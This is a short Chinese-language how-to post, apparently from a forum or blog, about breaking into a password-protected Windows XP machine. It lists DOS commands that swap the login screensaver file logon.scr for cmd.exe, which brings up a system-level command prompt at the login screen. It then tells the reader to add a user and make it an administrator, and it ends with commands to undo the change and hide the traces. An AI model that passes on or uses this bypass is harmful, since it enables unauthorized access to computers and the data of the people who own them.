破解XP密碼又一法(進入帶密碼的XP系統)

前提:能進入DOS系統，如果C:爲NTFS就得支持NTFS格式的DOS系統，這個不用說，不然你進不了C： 的。

當進入DOS系統之後，執行下面命令：

１、C: 回車　/＊進入Ｃ盤
２、cd windows/system32
/*進入windows目錄下的system32目錄，本命令等價於cd windows 和 cd system32兩個命令　
３、md logonbak　/*建立一個目錄做文件備份 ,名字是任意的。你可以隨便取
４、copy logon.scr logonbak　/*　將文件logon.scr　拷貝到我們建立的logonbak目錄下
５、del logon.scr ／*刪除logon.scr文件
６、ren cmd.exe logon.scr　/*把cmd.exe文件改名爲logon.scr
重啓。在登錄界面等待。

說明：cmd.exe是系統的dos窗口程序.logon.scr是屏保程序。我們破解原理是等到屏保運行的時候運行的不是屏保程序而是ＤＯＳ命令窗口。進入窗口後就不用多說了。用命令添加用戶再提升爲管理員就ＯＫ。不知道添加用戶的可以看"用命令添加用戶並提升爲管理員"

附加命令：rd 刪除目錄命令
　　　　　例如：我們在成功進入之後，我們要在dos狀態下去恢復系統（windows下好像那個文件受保護的，改不了。刪除我試過。沒有試過用別的文件去覆蓋)並刪除建立的文件夾.假設現在目錄就在system32下,不在可以通過上面講到的命令進入.

ren logon.scr cmd.exe 把文件名改回去
copy logonbak\logon.scr 把備份的文件拷回來
del logonbak 刪除備份文件夾下的文件,因爲rd只能刪除空的文件夾
rd logonbak 刪除文件夾